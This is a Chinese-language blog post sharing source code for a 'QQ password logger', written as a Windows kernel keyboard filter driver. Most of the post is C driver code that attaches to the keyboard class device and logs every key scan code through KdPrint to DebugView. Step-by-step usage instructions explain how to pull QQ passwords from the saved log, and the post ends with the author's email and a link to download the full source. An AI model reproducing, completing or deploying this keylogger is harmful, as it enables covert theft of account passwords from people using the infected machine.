QQ密碼記錄程式源碼

最近看了看c++，寫個程式玩玩。因為使用者態代碼不好截取到qq密碼，寫個鍵盤分層驅動。試了試效果還可以。

開發環境   vs2008 winddk ddkwizard       windowsxp      Dbgview

 實現方法

1.把過濾驅動掛載到鍵盤驅動上面

2.設定完成常式

3.通過KdPrint輸出鍵盤掃描碼到DebugView

4. 從DebugView的記錄檔中讀出鍵盤按鍵。

具體代碼

1.把過濾驅動掛載到KeyBoardClass0上面

PFILE_OBJECT fileOjbect;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName;
PDEVICE_EXTENSION pdx;
PDEVICE_OBJECT filterDeviceObject;
PDEVICE_OBJECT targetDevice;
fileOjbect=NULL;
RtlInitUnicodeString(&deviceName,L"\\Device\\KeyBoardClass0");
status=IoGetDeviceObjectPointer(&deviceName,FILE_ALL_ACCESS,&fileOjbect,&deviceObject);
pdoDeviceObj->Flags |= DO_BUFFERED_IO;
pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension;
pdx->pDevice=pdoDeviceObj;
pdx->ustrDeviceName=usDeviceName;
filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice;
targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject);
((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice;
filterDeviceObject->DeviceType=targetDevice->DeviceType; 
filterDeviceObject->Characteristics=targetDevice->Characteristics;
filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING;
filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO));
ObDereferenceObject(fileOjbect);
return STATUS_SUCCESS;

2.設定完成常式

PDEVICE_EXTENSION pdx;
pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE);
NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp);
return  status;

3.輸出鍵盤按鍵的掃描碼

NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
if(NT_SUCCESS(Irp->IoStatus.Status))
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
if(keys->Flags==0x0001||keys->Flags==0x0003)
KdPrint(("%02x",keys->MakeCode));
}
if(Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}

使用步驟

1.安裝驅動

用DriverMonitor載入並運行Driver1.sys驅動檔案

2.開啟Dbgview，當按鍵時就可以看到dbgview中記錄下的鍵盤掃描碼

3.在dbgview中選擇記錄記錄檔，處理下記錄檔就可以得到qq密碼了。

偶c++菜鳥，歡迎大神們批評教育    不足的地方很多啊    多多交流     謝謝    郵箱328452421@qq.com   

源碼   http://download.csdn.net/detail/xiaoxiao108/4303441